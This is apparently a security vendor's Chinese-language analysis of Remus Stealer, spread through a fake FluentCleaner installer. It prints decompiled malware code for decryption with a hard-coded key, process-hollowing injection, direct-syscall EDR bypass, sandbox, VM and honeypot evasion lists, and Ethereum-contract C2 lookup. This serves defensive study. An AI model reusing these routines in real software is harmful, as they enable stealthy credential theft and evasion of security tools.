仿冒 FluentCleaner 的 Remus Stealer:一场借”白加黑”上位的窃密攻击

概述

  近日瑞星威胁情报平台监测到一起针对知名开源Windows清理工具FluentCleaner的恶意攻击事件,攻击者仿冒其官方渠道(fluentcleaner.org)投放带毒安装包,以"白加黑"手法将恶意mscoree.dll与正规程序二次打包后通过网络传播。恶意mscoree.dll解密内嵌的Remus Stealer窃密木马并注入合法进程ServiceModelReg.exe中执行,而Remus Stealer自身具备多重反检测机制——通过沙箱DLL哈希比对、蜜罐文件与CPUID虚拟机特征检测规避分析环境,同时采用SSN直连syscall绕过EDR用户态Hook,经EtherHiding链上C2动态获取控制地址并下发命令,定向窃取浏览器凭据、Cookie、Steam/Roblox账号及C2指定文件后加密回传。

事件详情

  仿冒网站如下:

image

  下载页面如下:

image

攻击流程

image

样本分析

mscoree.dll分析

字段 内容
原始文件名 mscoree.dll
文件大小 3193 KB
文件MD5 6959d1a00c0dd4a2e6779be2049cfd30
文件类型 DLL
病毒名 Trojan.Kryptik/x64!1.143B8
主要功能 检测运行环境,解密内嵌Remus Stealer并注入ServiceModelReg.exe进程

  样本内的加密分为两层:底层是一个自定义流密码引擎,所有密文最终都由它解密。上层根据数据类型走不同入口——字符串类数据先经 Base64 解码再调用引擎,PE 和配置数据直接送入引擎。密钥全局共用,硬编码于文件内。

  密钥以 Base64 形式硬编码于文件偏移 0x1BBBAB

SRi79IrixO5E8z5x4IJc42Px0sKe3BxGNEQQDgqtynZeq9Abv3RVAlq1QM1HTEQS

  Base64Key_LoadFromFile 解码得 48 字节,ReadQwordLE 逐 8 字节读为 6 个 uint64,随后 KeystreamBlock 以 CTR 模式生成密钥流与密文 XOR。

void *StreamCipher_Decrypt(__int64 encryptedData)
{
    dataSize = *(encryptedData + 8);

    // 6 个 uint64 密钥:
    //  0xEEC4E28AF4BB1849  0xE35C82E0713EF344  0x461CDC9EC2D2F163
    //  0x76CAAD0A0E104434  0x025574BF1BD0AB5E  0x12444C47CD40B55A
    keyStruct = Base64Key_LoadFromFile(&g_Base64KeyStructure);
    for (int i = 0; i < 6; i++)
        keys[i] = ReadQwordLE(keyStruct, i * 8);

    output = BufferAlloc(dataSize);
    keystreamBuf = BufferAlloc(16);

    blockIndex = 0;  streamPos = 16;
    for (int i = 0; i < dataSize; i++) {
        if (streamPos >= 16) {
            KeystreamBlock(keys, blockIndex++, keystreamBuf);
            streamPos = 0;
        }
        output[i] = encryptedData[i] ^ keystreamBuf[streamPos++];
    }
    return output;
}

  类 Threefish 结构的自定义流密码,12 轮。3 个 64 位状态字,每轮拆分 32 位半字做加法+XOR 混合,再经 ROL(7/45/37) 旋转后与密钥混合。常量 0x9E3779B97F4A7C15 为 Golden Ratio 共轭。

void KeystreamBlock(keys, counter, output_16bytes)
{
    state0 = keys[0] ^ counter;
    state1 = keys[1] ^ ~counter;
    state2 = keys[2] ^ (0x9E3779B97F4A7C15 * counter);

    for (round = 0; round < 12; round++) {
        s0_lo = (uint32)state0;  s0_hi = state0 >> 32;
        s1_lo = (uint32)state1;  s1_hi = state1 >> 32;
        s2_lo = (uint32)state2;  s2_hi = state2 >> 32;

        mixAB = (s1_lo + s2_hi) | ((s0_lo ^ s1_hi) << 32);
        mixBC = (s2_lo + s0_hi) | ((s1_lo ^ s2_hi) << 32);
        mixTemp = (s0_lo + s1_hi) | ((s0_hi ^ s2_lo) << 32);
        mixAC = mixTemp + mixAB;

        state0 = keys[(round+3)%6] ^ ROL64(mixAC, 7);
        state1 = keys[(round+4)%6] ^ ROL64(mixAB + mixBC, 45);
        state2 = keys[(round+5)%6] ^ ROL64(state0 + mixBC, 37);
    }

    WriteQwordLE(output, 0, keys[3] ^ state0 ^ state2);
    WriteQwordLE(output, 8, keys[4] ^ state1 ^ state0);
}

  StringResolver_Get 是字符串类数据的解密入口。输入为 CLR 托管资源结构体(encryptedResource[+8] 为长度,[+12] 为 Base64 密文),先调用 Base64Key_LoadFromFile 解码,再送入 StreamCipher_Decrypt 解密,最后经 PathProcessor 转为 UTF-16LE 字符串返回。

void *__fastcall StringResolver_Get(__int64 encryptedResource)
{
    if (!encryptedResource || !*(_DWORD *)(encryptedResource + 8))
        return &empty_string;

    clrContext = g_CLR_DecryptContext;
    decodedData = Base64Key_LoadFromFile(encryptedResource);
    decryptedData = StreamCipher_Decrypt(decodedData);
    return PathProcessor(clrContext, decryptedData);
}

  调用方通过 StringResolver_Get(&g_EncryptedPathResource) 解密注入路径,并与参考值比对决定是否使用替代路径:

injectionPath = StringResolver_Get(&g_EncryptedPathResource);
referencePath = StringResolver_Get(&g_EncryptedFrameworkRef);
if ( !ComparePaths(injectionPath, referencePath) )
    goto skip_alt;
injectionPath = GetAlternativePath();
skip_alt:

  以注入路径为例,加密资源 g_EncryptedPathResource 的实际内容及解密过程如下:

Base64 密文 (92 字符):
  uHDTpDaMHb3kaDmHUG1QzQxbP0zKFhDWrtLZtpgDcQ59ae
  WcbtECeAQU+x4emlvodoC32zaB3hSBNEF6eq5Uuy/6TQ==

  ↓ Base64 解码 → 67 字节密文 → StreamCipher_Decrypt →

解密结果:
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe

  PE 解密直接使用流密码引擎,无需 Base64 步骤:

__int64 PayloadReader_GetDecrypted(__int64 context, unsigned int *outSize)
{
    encryptedData = PayloadLoad_AllocAndCopy();         // 加载 222KB 密文 (文件偏移 0x151168)
    if (!encryptedData || !*(_DWORD *)(encryptedData + 8))
        return 0;

    decryptedData = StreamCipher_Decrypt(encryptedData);  // 直接解密, 无 Base64 步骤
    decryptedSize = *(decryptedData + 8);
    *outSize = decryptedSize;
    result = AllocCopy(decryptedSize);
    for (int i = 0; i < decryptedSize; i++)
        result[i] = *(decryptedData + i + 16);
    return result;
}

  注入流程通过 RetryWrapper (最多 7 次重试, 递增延迟) 调用 PEInjectEngine 完成。

__int64 RetryWrapper(_QWORD *callback, __int64 payloadPE, __int64 path)
{
    retryCount = 0;
    while (1)
    {
        if (retryCount > 0)
        {
            logBuilder = StringBuilder_Alloc(256);
            clrContext = g_CLR_DecryptContext;
            decodedInput = Base64Key_LoadFromFile(&g_RuntimeDecryptInput);
            decryptedData = StreamCipher_Decrypt(decodedInput);
            newPath = PathProcessor(clrContext, decryptedData);
            StringBuilder_Append(logBuilder, newPath);
            StringBuilder_AppendHex(logBuilder, retryCount);
            StringBuilder_Finalize(logBuilder);
            Sleep(100);
            Sleep(500 + 300 * retryCount);
        }

        if (PEInjectEngine(callback, payloadPE, path))
            return 1;
        if (++retryCount >= 7)
            return 0;
    }
}

  PEInjectEngine 通过回调结构体中的间接函数指针调用 API,导入表中无直接引用。

  CreateProcessW — 以挂起方式创建目标进程:

startupInfo.cb = 0x68;
memset(&startupInfo.lpReserved, 0, sizeof(STARTUPINFO) - 8);

pCreateProcess = (void *)callback[0x10];
CritSec_Enter(&lock);
result = pCreateProcess(
    path,                   // 解密后的注入路径
    NULL,                   // lpCommandLine
    NULL,                   // lpProcessAttributes
    NULL,                   // lpThreadAttributes
    FALSE,                  // bInheritHandles
    0x8000004,              // 以挂起方式创建, 不立即执行
    NULL,                   // lpEnvironment
    NULL,                   // lpCurrentDirectory
    &startupInfo,
    &processInfo            // 返回进程/线程句柄
);
CritSec_Leave(&lock);

  ZwQueryInformationProcess — 查询挂起进程 PEB,获取 ImageBaseAddress:

pZwQueryInfo = (void *)callback[0x18];
BYTE buffer[0x30] = {0};

pZwQueryInfo(
    hProcess,                    // 挂起进程句柄
    ProcessBasicInformation,     // 查询 PEB 基址信息
    buffer,                      // 输出缓冲区
    0x30,                        // 缓冲区大小
    NULL
);

  VirtualAllocEx — 在目标进程分配 RWX 内存:

pVirtualAlloc = (void *)callback[0x28];
CritSec_Enter(&lock);
allocatedBase = pVirtualAlloc(
    hProcess,                      // 目标进程句柄
    ImageBase,                     // 0x140000000 (Payload PE 要求的基址)
    SizeOfImage,                   // 0x3A000 (232KB)
    MEM_COMMIT | MEM_RESERVE,      // 提交物理页 + 保留虚拟地址
    PAGE_EXECUTE_READWRITE         // 可读可写可执行
);
CritSec_Leave(&lock);
if (!allocatedBase) {
    allocatedBase = pVirtualAlloc(hProcess, NULL, SizeOfImage, 0x3000, 0x40);
}

  WriteProcessMemory ×5 — 逐节区写入恶意 PE:

pWriteProcessMemory = (void *)callback[0x30];

for (int i = 0; i < 5; i++) {
    CritSec_Enter(&lock);
    pWriteProcessMemory(
        hProcess,           // 目标进程句柄
        section[i].base,    // 远程地址 (ImageBase + VirtualAddress)
        section[i].data,    // 本地数据 (PE 文件 + PointerToRawData)
        section[i].size,    // 写入大小 (SizeOfRawData)
        NULL
    );
    CritSec_Leave(&lock);
}
# lpBaseAddress nSize 写入内容
1 0x140000000 0x400 PE Headers
2 0x140001000 0x2D200 .text 节区
3 0x14002F000 0x2A00 .rdata 节区
4 0x140032000 0x5000 .data 节区
5 0x140038000 0x1400 .reloc 节区

Remus Stealer分析

字段 内容
文件大小 217 KB
文件MD5 61e1669ed9f2ab2a4b9662a67628b177
文件类型 EXE
主要功能 Remus Stealer:多重反分析(SSN syscall反调试、沙箱/虚拟机/蜜罐检测),EtherHiding链上C2,窃取浏览器凭据、Cookie、Steam/Roblox凭据、剪贴板及C2指定文件

AntiAnalysis_ModuleCheck — 反调试 SSN 检查

  g_pNtdllBase 是 ntdll.dll 的加载基址。传入后先构建 Hash→SSN 表,然后搜索哈希 0xD4C1B277(对应 NtSetInformationProcess)的 SSN,以 InfoClass=40 执行反调试 syscall。

char AntiAnalysis_ModuleCheck()
{
    char result;
    __int64 i;
    __int128 v3;

    // [1] 构建 SSN 表 — 遍历 ntdll 导出表,对每个 Nt* 函数提取 {hash, SSN}
    if (!SSNTable_BuildFromNtdll(g_pNtdllBase))
        return 0;  // PE 结构损坏 → 触发 ExitProcess(0)

    // [2] 在缓存中搜索 NtSetInformationProcess (hash = 0xD4C1B277)
    v3 = 0;
    if (g_APIHashCacheSize) {
        i = 0;
        while (*(DWORD *)(g_pAPIHashCache + i * 8) != 0xD4C1B277) { // hash = "NtSetInformationProcess"
            if (g_APIHashCacheSize == ++i)
                goto no_api_found;
        }
        // [3] 找到 → 读取 SSN → NtSetInformationProcess(GetCurrentProcess, 40, &v3, 16)
        Syscall_Dispatcher(
            *(DWORD *)(g_pAPIHashCache + i * 8 + 4),  // SSN = NtSetInformationProcess 的系统调用号
            4,                                         // argCount = 4
            -1,                                        // Handle = GetCurrentProcess()
            40,                                        // InfoClass = 0x28 (非标准反调试类)
            &v3,                                       // 输入缓冲区 16 字节 (全零)
            16                                         // 缓冲区大小
        );
        return 1;
    }

no_api_found:
    int v2 = 0;
    do { ++v2; } while (!v2);
    return 1;  // 未找到 → 默认通过
}

  验证 ntdll PE 结构完整后,从导出表读取 NumberOfNames,扩容全局缓存,最后调用回调遍历所有 Nt* 导出构建 {API哈希, SSN} 映射表。

__int64 SSNTable_BuildFromNtdll(unsigned __int16 *ntdll_base)
{
    // [1] 验证 MZ 签名 — 混淆比对 0x5A4D
    WORD mz = *(WORD *)ntdll_base;
    int counter = 0;
    int check = 0x1E4F75F3;
    do { check ^= 0x1E4F7593 * ++counter; } while (!counter);
    if (mz != check)  // check 恒为 0x5A4D
        return 0;

    // [2] e_lfanew → PE 签名 "PE\0\0"
    int e_lfanew = *(int *)((char *)ntdll_base + 0x3C);
    counter = 0;
    check = 0x3C86EF46;
    do {
        counter++;
        // MBA 混淆计算 → 最终恒为 0x4550 ("PE\0\0")
        check ^= (counter & 0x3C86EF46 ^ 0x3C86EF46)
               * (counter & 0xC37910B9)
               + (counter & 0x3C86EF46)
               * (counter | 0x3C86EF46);
    } while (!counter);
    if (*(DWORD *)((char *)ntdll_base + e_lfanew) != check)
        return 0;

    // [3] DataDirectory[0].VirtualAddress (偏移 0x88) → 导出表 RVA
    DWORD export_rva = *(DWORD *)((char *)ntdll_base + e_lfanew + 0x88);
    if (!export_rva) return 0;

    // [4] DataDirectory[0].Size (偏移 0x8C) → 导出表大小
    if (!*(DWORD *)((char *)ntdll_base + e_lfanew + 0x8C))
        return 0;

    // [5] ExportDirectory.NumberOfNames (偏移 0x18)
    DWORD name_count = *(DWORD *)((char *)ntdll_base + export_rva + 0x18);

    // [6] 扩容全局缓存: 每条 {hash:DWORD, SSN:DWORD} = 8 字节
    __int64 new_count = g_APIHashCacheSize + name_count;
    void *new_cache = Memory_Alloc(new_count * 8);
    if (g_pAPIHashCache) {
        Memory_MemCopy(new_cache, g_pAPIHashCache, g_APIHashCacheSize * 8);
        Memory_Free(g_pAPIHashCache);
    }
    g_pAPIHashCache = new_cache;

    // [7] 回调 → 遍历导出表构建 Hash→SSN 映射
    return g_pSSNTable_Populate(); 
}

  遍历 ntdll 导出表,对每个以 "Nt" 开头的导出计算 CRC32 哈希,再从函数入口处的机器码中提取系统调用号 (SSN),去重后存入 g_pAPIHashCache。这张表建成后,后续所有模块只需用哈希查表就能拿到 SSN,通过 Syscall_Dispatcher 直接执行 syscall,全程不经过 ntdll.dll,彻底绕过用户态 Hook(EDR/AV 的 IAT Hook、Inline Hook 全部失效)。

  SSN 提取原理:x64 上每个 ntdll syscall stub 开头都是两条固定指令——mov r10, rcxmov eax, ,对应字节码 4C 8B D1 B8。搜到这个字节串后,紧跟的 4 字节就是 SSN。


__int64 g_pSSNTable_Populate()
{
    BYTE *ntdll_base = rsi;

    IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)(ntdll_base + export_dir_rva);
    DWORD *name_rvas = (DWORD *)(ntdll_base + exp->AddressOfNames);
    WORD  *ordinals  = (WORD  *)(ntdll_base + exp->AddressOfNameOrdinals);
    DWORD *func_rvas = (DWORD *)(ntdll_base + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {

        // [1] 计算导出名 CRC32 哈希
        char  *name = (char *)(ntdll_base + name_rvas[i]);
        DWORD hash  = CRC32_Custom(name, 0x21A99E56);

        // [2] 仅处理 "Nt" 开头的导出
        if (*(WORD *)name != 0x744E)  // 0x744E = 'Nt' (LE)
            continue;

        // [3] 通过序号获取函数 VA
        WORD  ordinal  = ordinals[i];
        BYTE *func_va  = ntdll_base + func_rvas[ordinal];  // → 指向该Nt函数的实际机器码

        // [4] 在func_va的机器码中扫,找 4C 8B D1 B8 = "mov r10,rcx; mov eax,<SSN>"
        DWORD ssn = 0xFFFFFFFF;
        for (int off = 0; off < 0x20; off++) {
            if (func_va[off] == 0xC3) break;                     // 遇 ret → 停止
            if (*(DWORD *)&func_va[off] == 0xB8D18B4C) {        // 匹配特征码
                ssn = *(DWORD *)&func_va[off + 4];              // 后4字节=SSN
                break;
            }
        }
        if (ssn == 0xFFFFFFFF) continue;                        // 未找到 → 跳过

        // [5] 去重
        BOOL found = FALSE;
        for (DWORD j = 0; j < g_APIHashCacheSize; j++) {
            if (g_pAPIHashCache[j].hash == hash) { found = TRUE; break; }
        }
        if (found) continue;

        // [6] 存入缓存
        DWORD idx = g_APIHashCacheSize++;
        g_pAPIHashCache[idx].hash = hash;
        g_pAPIHashCache[idx].ssn  = ssn;
    }
    return 1;
}

  CRC32_Custom — 跟标准 CRC32 的唯一区别:初始值从 0xFFFFFFFF 换成了 ~0x21A99E56 = 0xDE5761A9

// 与标准CRC32的唯一差异: 初始值换成了 ~seed
// 标准CRC32:   crc_init = 0xFFFFFFFF
// 此处变体:    crc_init = ~0x21A99E56 = 0xDE5761A9
DWORD CRC32_Custom(char *name, DWORD seed)
{
    DWORD crc = ~seed;

    if (*name == '\0')
        return seed;                           // 空串直接返回seed

    while (*name) {
        BYTE b = *name++;
        DWORD tmp = b ^ crc;
        for (int i = 0; i < 8; i++) {
            if (tmp & 1)
                tmp = (tmp >> 1) ^ 0xEDB88320;
            else
                tmp = tmp >> 1;
        }
        crc = tmp;
    }
    return ~crc;
}

  这个函数是整个样本反检测体系的核心——它让所有 API 调用都不经过 ntdll.dll,EDR/杀软在 ntdll 层布置的 Hook 全部作废。

  正常的 API 调用必须经过 ntdll:程序 → kernel32.dll → ntdll.dll → syscall → 内核。EDR 就是在 ntdll 这层动手脚——修改函数入口(Inline Hook)、替换 IAT 指向(IAT Hook)、或者拦截 syscall 返回。一旦被 Hook,恶意行为的每一步都被记录。

NTSTATUS Syscall_Dispatcher(DWORD SSN, DWORD argCount, QWORD p1, QWORD p2, QWORD p3, QWORD p4)
{
    QWORD syscall_number = SSN;      // 系统调用号
    QWORD syscall_arg1   = p1;       // 第1参
    QWORD syscall_arg2   = p2;       // 第2参
    QWORD syscall_arg3   = p3;       // 第3参
    QWORD syscall_arg4   = p4;       // 第4参

    // argCount > 4 → 超出部分从调用方栈拷到当前栈顶
    if (argCount > 4) {
        QWORD *src = (QWORD *)(rsp + 0x30);
        QWORD *dst = (QWORD *)(rsp + 0x20);
        for (DWORD i = 0; i < argCount - 4; i++)
            dst[i] = src[i];
    }

    __asm { syscall };  // 直通内核, 绕过ntdll所有Hook
}

AntiAnalysis_ModuleEnum_Thread — 沙箱 DLL 与蜜罐 PST 检测

  第一步遍历 PEB 模块链表,与内嵌的 18 个沙箱 DLL 白名单比对,命中(如 sbiedll.dll、snxhk.dll)→ ExitProcess。第二步只有全部未命中才执行——解密 honey@pot.com.pst 蜜罐文件名,创建线程遍历 %UserProfile%\Documents\Outlook Files\ 匹配同名文件,命中同样退出。

char AntiAnalysis_ModuleEnum_Thread()
{
    DWORD hashes[18];                              
    Memory_Copy(hashes, &g_sandboxDllHashes, 72);   // 18 个沙箱 DLL 模块哈希白名单

    QWORD peb = PEB_GetAddress();                  // __readgsqword → PEB

    int state = 0;
    for (int i = 0; i < 18; i++) {                  // 遍历 18 个白名单哈希
        QWORD *entry = *(QWORD *)(peb + 0x18) + 0x10;
        state = 4;                                   // 默认: 未找到
        for (QWORD *cur = *entry; cur != entry; cur = *(QWORD *)cur) {
            if (!cur[12]) continue;
            DWORD seed = Crypto_InitContext() ^ 0xAE42BCCC;
            if (ModuleName_Hash((WCHAR *)cur[12], seed) == hashes[i]) {
                state = 1;                           // 匹配到沙箱 DLL → 立即退出
                break;
            }
            state = 0;
        }
        if (state == 4) state = 0;                   // 未找到 → 继续下一个哈希
        if (state == 1) goto exit;                   // 任意白名单命中 → ExitProcess
    }

    // 18 个哈希全部未命中 → 进入蜜罐 PST 检测
    WORD buf[38];                                   // 76 字节
    Crypto_DecryptBuffer(buf);                     // 加载密文
    for (int m = 0; m < 38; m++)                    // XOR 解密: key = -12431 * m
        buf[m] ^= -12431 * m;

    QWORD derived_size;
    int checksum = Crypto_HashDerive(0, buf, 37, 0, 0, &derived_size);

    DWORD expected;
    Crypto_GetChecksum(&expected);
    expected ^= 0x6AB1B030;                        // MBA 混淆还原

    if (checksum != expected)
        return 0;                                  // 校验失败 → 退出

    WCHAR *path = Memory_Alloc(derived_size * 2);
    Crypto_HashDerive(0, buf, 37, path, derived_size, &derived_size);

    WORD short_hash[6];
    Crypto_GetShortHash(short_hash);
    for (int ii = 0; ii < 6; ii++)
        short_hash[ii] ^= 15283 * ii;

    // 创建线程遍历目录, 回调匹配 honey@pot.com.pst
    if (DirTraverse_Callback(path, short_hash, Sandbox_CheckHoneypotPST, 0))
        goto exit;                                   // 蜜罐命中 → ExitProcess

    return;                                          // 全部未命中 → 继续执行
}

  内嵌 18 个硬编码的 CRC32 哈希,对应已知沙箱/分析工具注入的 DLL:

DLL名称 DLL Name Hash 组件类型 关联软件/组件 备注
api_log.dll 0x48101B84 API监控组件 ThreatTrack沙箱 用于识别存在API行为记录或动态分析组件的环境
Unknown 0xE2F7FAD3
Unknown 0xA23DC8C3
avghookx.dll 0x7413D625 用户态Hook组件 AVG安全软件 AVG相关注入组件,用于识别安全软件监控环境
avghooka.dll 0x19E323D6 用户态Hook组件 AVG安全软件 AVG相关注入组件,用于识别安全软件监控环境
cmdvrt32.dll 0xEA330F69 虚拟化组件 Comodo安全软件 Comodo沙箱内加载的DLL
cmdvrt64.dll 0x35BE6B7A 虚拟化组件 Comodo安全软件 Comodo沙箱内加载的DLL
detours.dll 0xF8ECF22B API Hook框架 Microsoft Detours 通用API拦截框架,用于识别存在Hook或分析组件的环境
dir_watch.dll 0x3C479D15 文件监控组件 ThreatTrack沙箱 文件监控相关组件,与行为分析环境相关
npcap.dll 0x228E7355 网络抓包组件 Npcap 网络数据包捕获组件,用于识别网络分析工具环境
pstorec.dll 0x77E72FE2 ThreatTrack沙箱
sbiedll.dll 0x4B777536 沙箱组件 Sandboxie Sandboxie核心组件,用于识别Sandboxie沙箱环境
snxhk.dll 0x43D6CA05 用户态Hook组件 Avast安全软件 Avast相关Hook组件,用于识别安全软件注入
vmcheck.dll 0x200178C7 虚拟环境检测组件 Hyper-V 虚拟机检测相关组件,用于识别虚拟化分析环境
windivert.dll 0xBF3AE5D4 网络过滤组件 WinDivert 网络流量拦截/处理组件,用于识别网络分析环境
winpcap.dll 0x8F5DF816 网络抓包组件 WinPcap 网络数据包捕获组件,用于识别抓包分析环境
wpcap.dll 0x22ED877F 网络抓包组件 WinPcap/Npcap兼容接口 网络抓包接口组件,用于识别网络分析工具
wpespy.dll 0x10393D8E 监控组件 WPE Pro 网络数据包嗅探和修改工具,用于识别网络分析工具

  算法同 CRC32_Custom,两个区别:1. 输入是 WIDE 字符串(UTF-16LE),按 WORD 而非逐字节;2. seed 不同——Crypto_InitContext ^ 0xAE42BCCC = 0xE585BD66

DWORD ModuleName_Hash(WCHAR *name, DWORD seed)
{
    DWORD crc = ~seed;                             // 同 CRC32_Custom: init = ~seed

    if (*name == 0)                                // 空串直接返回 ~crc
        return ~crc;

    for (WCHAR *p = name; *p; p++) {
        DWORD tmp = crc ^ *p;                      // XOR 当前 WORD (区别于逐字节)
        for (int i = 0; i < 8; i++) {              // 8 轮 LFSR
            if (tmp & 1)
                tmp = (tmp >> 1) ^ 0xEDB88320;
            else
                tmp = tmp >> 1;
        }
        crc = tmp;
    }
    return ~crc;                                   // 最终取反
}

  加载 76 字节加密配置,XOR 解密后经两次 Crypto_HashDerive 生成遍历路径(%UserProfile%\Documents\Outlook Files\),DirTraverse_Callback 启动目录扫描,每个文件回调 Sandbox_CheckHoneypotPST 比对 honey@pot.com.pst

// --- 蜜罐 PST 检测 ---
// 遍历 %UserProfile%\Documents\Outlook Files\,匹配 honey@pot.com.pst

// [1] 加载 5 个 xmmword  → XOR 解密
WORD buf[38];
Crypto_DecryptBuffer(buf);
for (int m = 0; m < 38; m++)
    buf[m] ^= -12431 * m;                            // 38 轮 WORD XOR

// [2] 首次派生: 计算校验和 + 获取路径长度
QWORD path_len;
int checksum = Crypto_HashDerive(0, buf, 37, NULL, 0, &path_len);

// [3] 校验和比对
int expected = Crypto_GetChecksum(&expected);        // → 0xAABB4453
expected ^= 0x6AB1B030;                              // → 0xC00AF463
if (checksum != expected)
    return;                                          // 校验失败 → 配置无效

// [4] 二次派生: 解密遍历路径 → %UserProfile%\Documents\Outlook Files\
WCHAR *path = Memory_Alloc(path_len * 2);
Crypto_HashDerive(0, buf, 37, path, path_len, &path_len);

// [5] 解密短哈希 (12 字节常量)
WORD short_hash[6];
Crypto_GetShortHash(short_hash);
for (int i = 0; i < 6; i++)
    short_hash[i] ^= 15283 * i;

// [6] 遍历目录 → 每个文件回调 Sandbox_CheckHoneypotPST
if (DirTraverse_Callback(path, short_hash, Sandbox_CheckHoneypotPST, 0))
    goto exit;                                       // 蜜罐命中
Memory_Free(path);

  Sandbox_CheckHoneypotPST — 解密 honey@pot.com.pst,与目录中每个文件名比对:

char Sandbox_CheckHoneypotPST(WCHAR *filename)
{
    WORD enc[18];                                    // 内嵌密文 
    Memory_Copy(enc, &g_EncHoneypotPST, 36);
    for (int i = 0; i < 18; i++)
        enc[i] ^= -3632 * (i + 1);                  // 18 轮 XOR → L"honey@pot.com.pst"

    if (wcscmp(filename, (WCHAR *)enc) == 0)         // 匹配 → 沙箱
        goto exit;
    return;
}

AntiAnalysis_Flattened — 加壳检测与 NtRaiseHardError 弹窗

  遍历 g_pAPIHashCache 搜索哈希 0xA7C29068NtRaiseHardError,SSN=0x169)。命中 → 样本没加壳裸奔 → 弹窗警告;未命中 → 已加壳 → 跳过弹窗。

for (QWORD i = 0; i < g_APIHashCacheSize; i++) {
    if (g_pAPIHashCache[i].hash == 0xA7C29068) {       // NtRaiseHardError 已被解析

        Syscall_Dispatcher(
            g_pAPIHashCache[i].ssn,   // SSN = 0x169 = NtRaiseHardError
            6,                         // argCount = 6
            &error_status,             // ErrorStatus
            0,                         // ResponseOption = AbortRetryIgnore
            &params,                   // Parameters[3]
            3,                         // NumberOfParameters
            0, 0                       // 栈上补齐
        );
        break;                                          // 弹窗后卡死/退出
    }
}

  弹窗如下:

image

  直接插入 INT30xCC)指令。调试器附加时 INT3 被捕获可检测;无调试器时走 SEH 正常继续。

140026D7B  int  3                  ; OLLVM 35 状态中的一个 case: __debugbreak()

  通过查询 CPU 信息判断当前是否运行在虚拟机中,一旦发现 KVM、QEMU、VMware、VirtualBox、Xen 等常见虚拟机的痕迹就判定为被分析。

bool CPuID_CheckVM()
{
    // 第一次 cpuid: leaf 1,检查 hypervisor 存在位
    int eax = 0x5ABE68F4 ^ 0x5ABE68F5;               // → 0x1 (CPUID leaf 1)
    __cpuid(&cpu_info, eax);
    if (cpu_info.ecx & 0x80000000)                     // CPUID.1:ECX 位31 = hypervisor present
        return 1;

    // 第二次 cpuid: leaf 0x40000000,查询 hypervisor 厂商签名
    eax = 0x38F5E2A8 ^ 0x78F5E2A8;                     // → 0x40000000
    __cpuid(&cpu_info, eax);

    DWORD sig = cpu_info.ecx;                          // ECX = 签名中间 4 字节

    // 逐一比对 5 个运行时拼出的签名(解码常量 ^ 掩码 = 明文签名)
    if (sig == 0x4166110F ^ 0x172D5C59) return 1;  // 0x564B4D56 "VMKV" → KVM (KVMKVMKVM)
    if (sig == 0x7630914B ^ 0x3564D608) return 1;  // 0x43544743 "CGTC" → QEMU (TCGTCGTCGTCG)
    if (sig == 0x1ECA2AC9 ^ 0x539C4FBB) return 1;  // 0x4D567265 "reVM" → VMware (VMwareVMware)
    if (sig == 0x09BC8B3C ^ 0x71D3C96A) return 1;  // 0x786F4256 "VBox" → VirtualBox (VBoxVBoxVBox)
    if (sig == 0x75530E56 ^ 0x100B431B) return 1;  // 0x65584D4D "MMXe" → Xen (XenVMMXenVMM)

    return 0;
}

  绕开系统 API、直接读取进程自身的运行信息,供上层反分析流程校验进程状态是否正常。

QWORD SysHandle_Query(QWORD mode)
{
    QWORD peb = __readgsqword(0x60);   // GS 段直接读 PEB,绕过 API/Hook

    if (mode == 0)                                     // ← 实际执行的路径 (两处调用都传 0)
        return *(QWORD *)(peb + 0x20) + 0x60;          // PEB->ProcessParameters + 0x60
                                                       // = ImagePathName.Buffer 字段地址

    QWORD ldr   = *(QWORD *)(peb + 0x18);              // PEB->Ldr
    QWORD head  = ldr + 0x10;                          // InLoadOrderModuleList 头
    QWORD flink = *(QWORD *)(ldr + 0x10);              // 第一个模块的 Flink
    if (flink != head) { /* 继续走第二模块 DllBase 比对… */ }
    return 0;
}

  算法同 CRC32_Custom,对一段数据算校验值。调用方用它校验样本自身内嵌的数据是否被改动——数据一旦被修改,校验值即与期望值不符,判定为被分析。

DWORD SysInfo_Check(BYTE *data, QWORD size, DWORD seed)
{
    DWORD crc = ~seed;
    for (QWORD i = 0; i < size; i++) {
        BYTE b = data[i];
        DWORD tmp = crc ^ b;
        for (int j = 0; j < 8; j++)
            tmp = (tmp >> 1) ^ ((tmp & 1) ? 0xEDB88320 : 0);
        crc = tmp;
    }
    return ~crc;
}

Config_Init — 全局加密状态初始化

  Config_Init 负责初始化全局 ChaCha20 加密状态 g_pConfig(0x140036F28)。该状态由 ChaCha20_InitState硬编码静态密钥 + 静态 nonce 构建(64 字节 = 常量块 "expand 32-byte k" + 32 字节密钥 + 8 字节 nonce,计数器置零):

char Config_Init()
{
    ChaCha20_InitState(&g_pConfig,
                       &g_chacha20_static_key,     // 04DBF4945C17C08684215D929A8A26BCB030176FEA927EC9B8F0DB05EC8C6B6F
                       &g_chacha20_static_nonce,   // B2FBAC07FD9F40E6
                       0LL);                        // 64 位块计数器 = 0
    return 1; 
}

EtherHiding_ResolveC2 — 以太坊链上 C2 地址解析

  该函数是样本 EtherHiding(链上 C2 隐藏)技术的核心——C2 地址不写死在样本内,而是加密存储在以太坊智能合约中,运行时通过公共 RPC 节点查询 eth_call 动态获取。C2 地址由攻击者链上更新,样本每次启动拉取最新值,实现 C2 基础设施的动态轮换与抗封禁

  EtherHiding 的整个 HTTP 请求全部由运行时混淆解密生成,样本内不落地任何明文。函数在 WinHTTP 分支(g_eh_state 状态判定)依次还原 5 个数据块,组合为一次完整的 eth_call 查询:目标为公共以太坊 RPC 节点 https://ethereum-rpc.publicnode.com,以 POST + Content-Type: application/json 发送 JSON-RPC 请求体,向合约 0x999941b74F6bbc921D5174A5b29911562cd2D7CF 调用函数选择器 0xc2fb26a6 查询 C2 地址;响应解析时再解密 result 字段名定位结果。

// EtherHiding_ResolveC2 加密数据解密

// [1] RPC 端点 → L"https://ethereum-rpc.publicnode.com"
WORD rpc_url[36];
memcpy(rpc_url, (void*)0x14002FF4A, 72);
for (int i = 0; i < 36; i++) {
    WORD key = (11116 * (i + 1)) & 0xFFFF;
    rpc_url[i] = rpc_url[i] - key - 2 * (rpc_url[i] & ((-key) & 0xFFFF));
}

// [2] Content-Type 头 → L"Content-Type: application/json"
WORD content_type[31];
memcpy(content_type, (void*)0x14002FE78, 62);
for (int i = 0; i < 31; i++)
    content_type[i] ^= (WORD)(26708 * (i + 1));

// [3] HTTP 方法 (栈立即数) → "POST"
